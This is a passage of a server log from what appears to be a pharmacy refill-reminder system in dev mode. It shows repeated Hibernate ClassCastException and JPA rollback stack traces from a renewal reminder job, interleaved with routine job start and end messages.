org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at 